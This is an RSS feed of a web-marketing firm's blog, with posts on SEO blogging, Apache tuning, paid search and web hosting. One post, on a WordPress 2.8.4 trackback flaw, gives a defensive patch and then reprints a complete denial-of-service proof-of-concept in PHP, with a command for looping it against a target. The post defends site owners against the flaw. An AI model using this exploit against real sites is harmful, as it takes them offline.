<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Vista Web Media&#187; Glenn Jimerson</title> <atom:link href="http://www.vistawebmedia.com/author/Glenn/feed" rel="self" type="application/rss+xml" /><link>http://www.vistawebmedia.com</link> <description></description> <lastBuildDate>Wed, 13 Jan 2010 22:59:28 +0000</lastBuildDate> <generator>http://wordpress.org/?v=2.9.2</generator> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" /> <item><title>Benefits of Blogging for Small Business Websites</title><link>http://www.vistawebmedia.com/benefits-of-blogging-for-small-business-websites</link> <comments>http://www.vistawebmedia.com/benefits-of-blogging-for-small-business-websites#comments</comments> <pubDate>Wed, 13 Jan 2010 22:52:58 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[Social Media Marketing]]></category> <category><![CDATA[Blogging]]></category> <category><![CDATA[SEO]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/?p=459</guid> <description><![CDATA[Benefits of Blogging for Small Business Websites One of the most frequent questions I get when working with  small to medium local business is: &#8220;Should  I add a blog to my site&#8221;. In most  circumstances blogging is a good idea not only because it can help with organic  search engine rankings, but [...]]]></description> <content:encoded><![CDATA[<h1>Benefits of Blogging for Small Business Websites</h1><p>One of the most frequent questions I get when working with  small to medium local business is: &ldquo;Should  I add a blog to my site&rdquo;. In most  circumstances blogging is a good idea not only because it can help with organic  search engine rankings, but it can also help add a different slant to your  product/service offerings.</p><h3>Why Blogging is Effective for SEO</h3><p><img src="/images/blog/2010/01/small-business-blogging.jpg" alt="Small Business Blogging" width="250" height="249" align="left" style="padding:5px 5px 5px 0px;"/>The  reason why blogging is an effective method for increasing your search engine  rankings is twofold. First, a properly written blog is full of highly relevant  keywords for your business. The second  reason is that often your website lacks search engine friendly qualities.</p><p>For example, let&rsquo;s say you start a blog for your wedding  cake bakery. It would be smart to  structure your blog so that each post targeted not only the keywords &ldquo;wedding  cake&rdquo; but more specifically focus on the geographic areas you service. So, an example title of a post on your blog  would be &ldquo;Todd and Jeanette&rsquo;s Leaning Tower of Pisa Wedding Cake&rdquo;. Then, in the post you would include pictures  of the cake and text like: &ldquo;Jeanette wanted a reproduction of the Leaning Tower  of Pisa for her wedding cake. Their  tasteful Phoenix wedding was held at the Pointe Hilton&hellip;&rdquo; When the search engine  spiders visit your blog it will pick up these keywords and help rank your site  higher for the phrase: &ldquo;Wedding cake phoenix&rdquo;.  This is only one small piece of the blogging puzzle. The second reason  why your blog helps with SEO is often because the rest of the site lacks  optimization.</p><p>Many websites are developed by firms that do not build a  search engine friendly structure from the start. The site can suffer from improper keyword targeting,  the directory/page structure can inhibit the flow of keyword relevancy (link  juice), etc&hellip; With a blog you can help mitigate some of these shortfalls. This does not mean you should forgo <a href="http://www.vistawebmedia.com/services/search-engine-optimization/">search engine optimization</a> on  the rest of your site. The blog should work in tandem with the rest  of the site reinforcing your offering.</p><h3>The Goals of Small Business Blogging</h3><p>Aside from the SEO benefits of blogging, what should be the  goal? Your blog can serve as an  excellent way to demonstrate how your business is serving the needs of your  customers. This is not the same as a  white paper, case study, or press release.  Your blog can be used to showcase your knowledge of a specific market by  providing things like tutorials. It can  be used to demonstrate how real people have benefited from your product/service  or as in the case of the wedding cake example above, actually show just how  great your product really is. In a  broad sense think of your web site as the sales and customer service area of  your business with the blog acting as public relations and as an indirect sales  person.</p><h3>General Tips for a Small Business Blog</h3><p>So, if you are thinking of starting a blog or want to make  it better, keep these points in mind:</p><ol><li>Put your blog on the same domain as your main  company website. Do not buy a different  domain just to host your blog. You want  one big comprehensive site.</li><li>You do not have to call your blog a blog. You can get more mileage out of it by calling  it something relevant to your site.  Using the Phoenix wedding cake bakery example above you can call it: &ldquo;Wedding  Cake Creations&rdquo; and make the directory structure look like this: http://YourBusiness  Site.com/wedding-cake-creations</li><li>You don&rsquo;t have to use a blogging script to have  a blog. It can be simply a part of your  web site that is regularly updated. But  if you do go with a script, which I highly recommend, go with <a href="http://wordpress.org/">Wordpress</a>.</li><li>Make sure to include pictures. It helps break up large blocks of text thus  increasing the number of people who read the entire article.</li><li>Don&rsquo;t be stingy with links. Use your blog to share some link love with  your favorite vendors and other folks you respect in your industry.</li></ol> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/benefits-of-blogging-for-small-business-websites/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Apache Web Server Over Optimization: A Cautionary Tale</title><link>http://www.vistawebmedia.com/apache-web-server-over-optimization-a-cautionary-tale</link> <comments>http://www.vistawebmedia.com/apache-web-server-over-optimization-a-cautionary-tale#comments</comments> <pubDate>Thu, 05 Nov 2009 17:55:37 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[Technical]]></category> <category><![CDATA[Apache Web Server]]></category> <category><![CDATA[DDOS Deflate]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/?p=451</guid> <description><![CDATA[When it comes to squeezing every ounce of performance from an Apache web server it is easy to make changes that can have dire consequences to your sites. Sometimes you can see your web server load go up right away so it&#8217;s easy to tell you are headed in the wrong direction. But, some modifications [...]]]></description> <content:encoded><![CDATA[<p>When it comes to squeezing every ounce of performance from an <a href="http://apache.org/" target="_blank">Apache web server</a> it is easy to make changes that can have dire consequences to your sites. Sometimes you can see your web server load go up right away so it&#8217;s easy to tell you are headed in the wrong direction. But, some modifications can make a real mess of things in a much more subtle way.</p><p><strong>The Problem:</strong></p><p>Load on my web server went up when several of my competitor&#8217;s sites got booted from the top 10 of Google which left my site as the lone survivor for a very competitive key word. That day my poor little 2.8 dual Xenon with 2GB of RAM web server went from a average load of 2.7 to well over 80 and had spikes in the 100+ range.</p><p><strong>How I &#8220;Fixed&#8221; It:</strong></p><p>I went in and started messing with the httpd.conf file. I changed just about everything under the sun and then thought it would be smart to turn KeepAlive off. Now I could free up all those idle connections hogging memory until they time out. It was supposed to be a win-win. My visitors will get a better experience and load will go down. Or so the theory goes&#8230;</p><p><strong>Why This Went Horribly Wrong:</strong></p><p>If you run web sites that have lots of pictures each time one of the photos was grabbed from the server it made a new connection. So if you have a page that has 60 images you can see how the number of connections each user was making adds up quickly. If they have one of those web caching programs/plugins that will follow links and download pages automatically in order to speed up dial up browsing it gets even worse.</p><p>As part of my server hardening I run (D)DoS Deflate a great <a href="http://deflate.medialayer.com/" target="_blank">DDOS mitigating script</a> written by the good folks a <a href="http://www.medialayer.com/" target="_blank">Medialayer</a>. Since KeepAlive was off these visitors were making hundreds of completely legitimate connections to the web server. (D)DoS Deflate would see this and then ban their IP. I can&#8217;t blame the script it was doing exactly what I told it to do. The effect was that thousands of visitors and potential customers were getting their IP&#8217;s banned from my server. Yeah Ouch!</p><p><strong>Fixing the &#8220;Fixed&#8221;:</strong></p><p>In the first thirty minutes of the Apache reconfiguration I received easily 100 banned IP notifications. I thought that my server was getting DDOS&#8217;ed and was comforted by my superior server hardening and Apache tweaking skills. And then the next half an hour I got another 100. I knew something was up. Then I got an e-mail from a friend of mine alerting me to one of my sites being unavailable. That was odd since I was literally writing a post in Wordpress. Taking a look at the log, sure enough he had been banned. Luckily, I made the connection between (D)DoS deflate and KeepAlive and quickly turned it back on. Everything was right with the world again.</p><p><strong>Lessons Learned:</strong></p><ol><li>If you run sites with lots of photos on individual pages do not turn KeepAlive off if you are running (D)Dos Deflate</li><li>Always remember that Apache is a part of your server eco-system. Mess one up, mess them all up. You&#8217;re Apache ninja skills are never good enough to prevent all screw ups so be careful.</li><li>It&#8217;s great when your competitors lose their ranking leaving you in the top spot in Google for competitive keywords. <img src='http://cdn.vistawebmedia.com/main/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></li></ol><p><em>P.S. No actual clients were harmed. This event happened on a server reserved for my own personal affiliate work.</em></p> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/apache-web-server-over-optimization-a-cautionary-tale/feed</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>Temporary Fix for Wordpress 2.8.4 Exploit</title><link>http://www.vistawebmedia.com/temporary-fix-for-wordpress-2-8-4-exploit</link> <comments>http://www.vistawebmedia.com/temporary-fix-for-wordpress-2-8-4-exploit#comments</comments> <pubDate>Tue, 20 Oct 2009 21:38:03 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[Technical]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/?p=442</guid> <description><![CDATA[ This exploit has been patched in the new 2.8.5 version of Wordpress.  Download it at:  http://wordpress.org/download/ If you are running Wordpress 2.8.4 there is an exploit out there that will allow  someone to DOS your site. Here is a TEMPORARY fix until there is an official update from Wordpress: Copy [...]]]></description> <content:encoded><![CDATA[<blockquote><p> This exploit has been patched in the new 2.8.5 version of Wordpress.  Download it at: <a href="http://wordpress.org/download/">http://wordpress.org/download/</a></p></blockquote><p> If you are running Wordpress 2.8.4 there is an exploit out there that will allow  someone to DOS your site.</p><p>Here is a <strong>TEMPORARY</strong> fix until there is an official update from Wordpress:</p><p>Copy this code into your theme&#8217;s functions.php file.  If there isn&#8217;t a file called functions.php create one.</p><div class="geshi no php"><ol><li class="li1"><div class="de1">&nbsp;</div></li><li class="li1"><div class="de1"><span class="kw2">&lt;?php</span></div></li><li class="li1"><div class="de1">&nbsp;</div></li><li class="li1"><div class="de1"><span class="co1">// WP Trackback Temp Fix</span></div></li><li class="li1"><div class="de1">&nbsp;</div></li><li class="li1"><div class="de1"><span class="kw2">function</span> ft_stop_trackback_dos_attacks<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">global</span> <span class="re1">$pagenow</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="st0">&#39;wp-trackback.php&#39;</span> <span class="sy0">==</span> <span class="re1">$pagenow</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// DoS attack fix.</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="kw3">isset</span><span class="br0">&#40;</span><span class="re1">$_POST</span><span class="br0">&#91;</span><span class="st0">&#39;charset&#39;</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#41;</span><span class="br0">&#123;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$charset</span> <span class="sy0">=</span> <span class="re1">$_POST</span><span class="br0">&#91;</span><span class="st0">&#39;charset&#39;</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span> <span class="kw3">strlen</span><span class="br0">&#40;</span><span class="re1">$charset</span><span class="br0">&#41;</span> <span class="sy0">&gt;</span> <span class="nu0">50</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span> &nbsp;<span class="kw3">die</span><span class="sy0">;</span> <span class="br0">&#125;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div></li><li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li><li class="li1"><div class="de1">add_action<span class="br0">&#40;</span><span class="st0">&#39;init&#39;</span><span class="sy0">,</span><span class="st0">&#39;ft_stop_trackback_dos_attacks&#39;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp;</div></li><li class="li1"><div class="de1"><span class="kw2">?&gt;</span></div></li></ol></div><p>Here is the proof of concept code (i.e. the exploit) <strong>DO NOT</strong> put this in your functions.php:</p><div class="geshi no php"><ol><li class="li1"><div class="de1"><span class="kw2">&lt;?php</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">/*</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* wordpress Resource exhaustion Exploit</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* http://rooibo.wordpress.com/</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* security@wordpress.org contacted and get a response,</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* but no solution available.</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* </span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org &lt;panic@zerial.org&gt;</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* </span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* exploiting:</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* you must install php-cli (command line interface)</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done</span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;* </span></div></li><li class="li1"><div class="de1"><span class="coMULTI">&nbsp;*/</span></div></li><li class="li1"><div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">count</span><span class="br0">&#40;</span><span class="re1">$argv</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">2</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw3">die</span><span class="br0">&#40;</span><span class="st0">&quot;You need to specify a url to attack<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$url</span> <span class="sy0">=</span> <span class="re1">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$data</span> <span class="sy0">=</span> <span class="kw3">parse_url</span><span class="br0">&#40;</span><span class="re1">$url</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">count</span><span class="br0">&#40;</span><span class="re1">$data</span><span class="br0">&#41;</span> <span class="sy0">&lt;</span> <span class="nu0">2</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw3">die</span><span class="br0">&#40;</span><span class="st0">&quot;The url should have http:// in front of it, and should be complete.<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$path</span> <span class="sy0">=</span> <span class="br0">&#40;</span><span class="kw3">count</span><span class="br0">&#40;</span><span class="re1">$data</span><span class="br0">&#41;</span><span class="sy0">==</span><span class="nu0">2</span><span class="br0">&#41;</span>?<span class="st0">&quot;&quot;</span><span class="sy0">:</span><span class="re1">$data</span><span class="br0">&#91;</span><span class="st0">&#39;path&#39;</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$path</span> <span class="sy0">=</span> <span class="kw3">trim</span><span class="br0">&#40;</span><span class="re1">$path</span><span class="sy0">,</span><span class="st0">&#39;/&#39;</span><span class="br0">&#41;</span><span class="sy0">.</span><span class="st0">&#39;/wp-trackback.php&#39;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span><span class="re1">$path</span><span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="sy0">!=</span> <span class="st0">&#39;/&#39;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re1">$path</span> <span class="sy0">=</span> <span class="st0">&#39;/&#39;</span><span class="sy0">.</span><span class="re1">$path</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$b</span> <span class="sy0">=</span> <span class="st0">&quot;&quot;</span><span class="sy0">;</span> <span class="re1">$b</span> <span class="sy0">=</span> <span class="kw3">str_pad</span><span class="br0">&#40;</span><span class="re1">$b</span><span class="sy0">,</span><span class="nu0">140000</span><span class="sy0">,</span><span class="st0">&#39;ABCEDFG&#39;</span><span class="br0">&#41;</span><span class="sy0">.</span><span class="kw3">utf8_encode</span><span class="br0">&#40;</span><span class="re1">$b</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$charset</span> <span class="sy0">=</span> <span class="st0">&quot;&quot;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$charset</span> <span class="sy0">=</span> <span class="kw3">str_pad</span><span class="br0">&#40;</span><span class="re1">$charset</span><span class="sy0">,</span><span class="nu0">140000</span><span class="sy0">,</span><span class="st0">&quot;UTF-8,&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$str</span> <span class="sy0">=</span> <span class="st0">&#39;charset=&#39;</span><span class="sy0">.</span><span class="kw3">urlencode</span><span class="br0">&#40;</span><span class="re1">$charset</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$str</span> <span class="sy0">.=</span> <span class="st0">&#39;&amp;url=www.example.com&#39;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$str</span> <span class="sy0">.=</span> <span class="st0">&#39;&amp;title=&#39;</span><span class="sy0">.</span><span class="re1">$b</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$str</span> <span class="sy0">.=</span> <span class="st0">&#39;&amp;blog_name=lol&#39;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="re1">$str</span> <span class="sy0">.=</span> <span class="st0">&#39;&amp;excerpt=lol&#39;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1"><span class="kw1">for</span><span class="br0">&#40;</span><span class="re1">$n</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> <span class="re1">$n</span> <span class="sy0">&lt;=</span> <span class="nu0">5</span><span class="sy0">;</span> <span class="re1">$n</span><span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re1">$fp</span> <span class="sy0">=</span> <span class="sy0">@</span><span class="kw3">fsockopen</span><span class="br0">&#40;</span><span class="re1">$data</span><span class="br0">&#91;</span><span class="st0">&#39;host&#39;</span><span class="br0">&#93;</span><span class="sy0">,</span><span class="nu0">80</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="re1">$fp</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">die</span><span class="br0">&#40;</span><span class="st0">&quot;unable to connect to: &quot;</span><span class="sy0">.</span><span class="re1">$data</span><span class="br0">&#91;</span><span class="st0">&#39;host&#39;</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; <span class="re1">$pid</span><span class="br0">&#91;</span><span class="re1">$n</span><span class="br0">&#93;</span> <span class="sy0">=</span> pcntl_fork<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="sy0">!</span><span class="re1">$pid</span><span class="br0">&#91;</span><span class="re1">$n</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fputs</span><span class="br0">&#40;</span><span class="re1">$fp</span><span class="sy0">,</span> <span class="st0">&quot;POST $path HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fputs</span><span class="br0">&#40;</span><span class="re1">$fp</span><span class="sy0">,</span> <span class="st0">&quot;Host: &quot;</span><span class="sy0">.</span><span class="re1">$data</span><span class="br0">&#91;</span><span class="st0">&#39;host&#39;</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fputs</span><span class="br0">&#40;</span><span class="re1">$fp</span><span class="sy0">,</span> <span class="st0">&quot;Content-type: application/x-www-form-urlencoded<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fputs</span><span class="br0">&#40;</span><span class="re1">$fp</span><span class="sy0">,</span> <span class="st0">&quot;Content-length: &quot;</span><span class="sy0">.</span><span class="kw3">strlen</span><span class="br0">&#40;</span><span class="re1">$str</span><span class="br0">&#41;</span><span class="sy0">.</span><span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fputs</span><span class="br0">&#40;</span><span class="re1">$fp</span><span class="sy0">,</span> <span class="st0">&quot;Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fputs</span><span class="br0">&#40;</span><span class="re1">$fp</span><span class="sy0">,</span> <span class="re1">$str</span><span class="sy0">.</span><span class="st0">&quot;<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;hit!<span class="es0">\n</span>&quot;</span><span class="sy0">;</span></div></li><li class="li1"><div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div></li><li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li><li class="li1"><div class="de1"><span class="kw2">?&gt;</span></div></li></ol></div> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/temporary-fix-for-wordpress-2-8-4-exploit/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Cost Per Click 101: 3 Tips That Will Boost Your Paid Search Campaigns</title><link>http://www.vistawebmedia.com/3-tips-that-will-boost-your-paid-search-campaigns</link> <comments>http://www.vistawebmedia.com/3-tips-that-will-boost-your-paid-search-campaigns#comments</comments> <pubDate>Wed, 08 Apr 2009 22:21:53 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[Paid Search]]></category> <category><![CDATA[Adwords]]></category> <category><![CDATA[CPC]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/?p=394</guid> <description><![CDATA[If you are just starting out with paid search using Google’s  Adwords or Yahoo’s Sponsored Search, you have probably noticed that getting the  biggest bang for your buck isn’t as easy as plopping down your money and letting  the sales role in.  It’s easy to think of  cost per click (CPC) [...]]]></description> <content:encoded><![CDATA[<p><img src="/images/blog/2009/04/08/cost-per-click-tips.jpg" alt="Cost Per Click Management Tips" width="228" height="300" align="right">If you are just starting out with paid search using Google’s  Adwords or Yahoo’s Sponsored Search, you have probably noticed that getting the  biggest bang for your buck isn’t as easy as plopping down your money and letting  the sales role in.  It’s easy to think of  cost per click (CPC) ads as a regular media buy, but that type of thinking is  going to leave your wallet a lot lighter.   Anyone who has seen their daily budget get drained in a matter of hours  with no sales to show for it knows what I mean.</p><p>In order to get the most out of your search engine marketing  dollar you need to hone your <a href="http://www.vistawebmedia.com/services/cost-per-click-management/">Cost  Per Click Management Skills</a> .  Here  are 3 tips that will greatly improve the ROI on your paid search campaigns.</p><h3>#1 Write more than one ad</h3><p>Writing ads is as much art as it is science.   The quality of your ad copy can mean the  difference between your ad getting clicked or passed over without a second  thought.  This is why writing more than  one ad is so important.</p><p>Write at least 3 different ads for an Ad Group.  That means varying the headlines as well as  the descriptions.   Once you’ve got your  first 3 ads, let them run for a few weeks.   Keep the highest clicked ads and toss out the losers.   For the winning ad, write several variations  of it and run the test again.  Using this  method you’ll be able to identify what ad copy is click worthy.</p><p>By testing your ads you’ll increase the click through rate  thus reducing how much you pay per click.    This way you can get more clicks for less money.  See your ROI has gone up already!</p><h3>#2 Don’t Send All Your Traffic to the Home Page</h3><p>A common rookie mistake is to send all your traffic to your  web site’s home page.   Doing this is costing you conversions.  When someone is using a search engine, they  expect the results of their quires to match the sites presented in the search  engine results (ads included).  When you  don’t immediately deliver the information that visitor wants, they will quickly  hit the back button and head off to another site.   Just to add insult to injury, you paid good  money for the opportunity to tell that visitor you don’t have what they want  even if you do.</p><p>For example, say your office supply web site sells high-end  pen sets.  To increase sales of these  high dollar items, you start an Adwords campaign on Google and send all the traffic  from those pen related keywords to the home page.   That  visitor is expecting to see the pen mentioned in your compelling ad copy but  instead they hit your home page full of links to other things like paper clips,  toner, etc….  Not seeing what they were  looking for, they quickly hit the back button and are scanning the results for  your competitor. </p><p>Remember, visitors  have short attention spans.   You need to  give them what they want when they want it.   The smart move would have been to link directly to the page that sells your  pens.  If your ad copy sells Super Duper  Pen X  then send that visitor to the  Super Duper Pen X page on your site.</p><p>If you wanted to get really fancy you can create specific  landing pages for your ad campaigns but I’ll cover that in another post.</p><p>Aligning the ad copy with the right page on your web site  has two primary benefits.  First and  foremost it increases conversion rate by giving the visitor what they  want.  Second, it increases the quality  score of your advertisement.  A higher  quality score means a lower cost per click and a higher ROI for your campaign.</p><h3>#3  Don’t Shoot for the 1st  Position Unless You Have a Good Reason</h3><p>I know we all want to be number one.  When it comes to organic placement through <a href="http://www.vistawebmedia.com/services/search-engine-optimization/">SEO</a> I couldn’t agree with you more.  But,  being in the first spot in the paid results is not usually the best position to  place your ad with respect to ROI. </p><p>There are three major factors that affect where your ad  shows in relation to the others.  These  factors are:</p><ol><li>Bid price</li><li>Click through rate</li><li>Quality score of the landing page</li></ol><p>Through experience, I’ve found no matter how much I tweaked  the quality score and click through rate, I always end up paying significantly  more per click to have my ad show up in the 1st position.  Yes, the ads will get more eyeballs and  clicks, but the premium paid for that spot combined with the extra clicks,  reduces the return on investment.  The  sweet spot I’ve found is between the 2nd and 4th  spots.  This isn’t a hard rule more of a  guideline.  Remember to always keep an  eye on your return on investment.  That  will guide your bidding strategy.</p><p>By following these 3 simple steps, your cost per click campaigns  will produce a higher return for your advertising dollar.  Overall, go slow and start off your campaigns  the right way and you’ll save yourself a small fortune in the end.</p> ]]></content:encoded> <wfw:commentRss>http://www.vistawebmedia.com/3-tips-that-will-boost-your-paid-search-campaigns/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>5 Tips on How to Select a Good Web Host</title><link>http://www.vistawebmedia.com/5-tips-on-how-to-select-a-good-web-host</link> <comments>http://www.vistawebmedia.com/5-tips-on-how-to-select-a-good-web-host#comments</comments> <pubDate>Fri, 27 Mar 2009 03:44:03 +0000</pubDate> <dc:creator>Glenn Jimerson</dc:creator> <category><![CDATA[Technical]]></category> <category><![CDATA[Technical Tips]]></category> <category><![CDATA[Web Hosting]]></category><guid isPermaLink="false">http://www.vistawebmedia.com/?p=379</guid> <description><![CDATA[No matter if you have a large ecommerce web site or looking  for a place to set up a blog, everyone who has an Internet presence is using  web hosting.  A reliable web host is more  than just a computer where you dump your stuff.   They act as your silent partner [...]]]></description> <content:encoded><![CDATA[<p>No matter if you have a large ecommerce web site or looking  for a place to set up a blog, everyone who has an Internet presence is using  web hosting.  A reliable web host is more  than just a computer where you dump your stuff.   They act as your silent partner in the web world.  If a web site is a virtual store then a web  host would be the ground underneath.</p><p>There are several types of webhosting you can use such as:</p><ul><li>Shared hosts</li><li>Virtual Private Servers (VPS)</li><li>Dedicated Servers</li></ul><p>Regardless of the type of hosting you need, keep these 5  tips to keep in mind when selecting your next  web host.</p><h3>Be Wary of Any Host That Offers Unlimited Anything</h3><p><img src="/images/blog/2009/03/26/web-hosting-tips.jpg" alt="5 tips on how to chose the right webhost" width="330" height="233" align="left" style="padding:0px 5px 5px 0px;" />The majority of web sites will use less than 100 MB of  storage space and might use a GB of bandwidth a month.  Web hosts know this and will advertise their  hosting pages as “Unlimited” bandwidth, hard drive space, or 